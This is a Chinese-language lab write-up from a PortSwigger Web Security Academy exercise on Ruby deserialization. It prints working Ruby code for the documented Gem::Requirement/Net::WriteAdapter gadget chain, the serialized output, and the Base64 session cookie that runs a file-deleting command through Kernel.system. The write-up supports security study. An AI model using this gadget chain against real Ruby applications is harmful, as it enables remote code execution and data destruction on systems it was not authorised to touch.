> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/ruby-deserialization-with-documented-gadget-chain.md).
# 使用已记录小工具的 Ruby 反序列化
使用已记录小工具的 Ruby 反序列化，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 利用已文档化的 Gadget 链进行 Ruby 反序列化利用
**实验背景**
本实验使用一种基于序列化的会话机制，并基于 **Ruby on Rails** 框架。/ 存在公开文档记录的\*\* gadget，可通过其实现 \*\* 远程代码执行 (NCE)\*\* via `Marshal`.
目标：/ 创建一个恶意序列化对象，注入到会话 cookie 中并删除文件：
```bash
/home/carlos/morale.txt
```
提供的标识符：
wiener : peter
**会话分析**
身份验证后，服务器会以 Base64 形式提供一个序列化的会话 cookie：
{% code overflow="wrap" %}
```bash
BAhvOglVc2VyBzoOQHVzZXJuYW1lSSILd2llbmVyBjoGRUY6EkBhY2Nlc3NfdG9rZW5JIiV6YmI1YWVjejlrZXJzajU3bHZsanloaXQyanR6aTNsMgY7B0YK
```
{% endcode %}
这清楚地表明服务器端使用了 `Marshal.dump` 。
使用了基于以下 Ruby 类的已文档化 gadget 字符串：
* `Gem::SpecFetcher`
* `Gem::Installer`
* `Gem::Requirement`
* `Gem::RequestSet`
* `Net::WriteAdapter`
* `Gem::Package::TarReader`
该字符串会触发对以下方法的调用： `Kernel.system`.
**Ruby 载荷构造**
下面的代码用于创建一个运行目标命令的序列化对象：
```ruby
# 自动加载所需类
Gem::SpecFetcher
Gem::Installer
# 防止在 Marshal.dump 时载荷运行
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload
```
```ruby
[cGem::SpecFetchercGem::InstallerU:Gem::Requirement[o:
Gem::Package::TarReader:@ioo:Net::BufferedIO;o:#Gem::Package::TarReader::Entry:
@readi:
@headerI"aaa:ET:@debug_outputo:Net::WriteAdapter:
@socketo:Gem::RequestSet:
@setso;;m
Kernel:@method_id:
system:
@git_setI" rm /home/carlos/morale.txt;
T;:
resolve
```
**Base64 编码**
为了将载荷注入会话 cookie，需要将其编码为 Base64：
```java
puts Base64.encode64(payload)
```
最终得到的链：
{% code overflow="wrap" %}
```bash
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==
```
{% endcode %}
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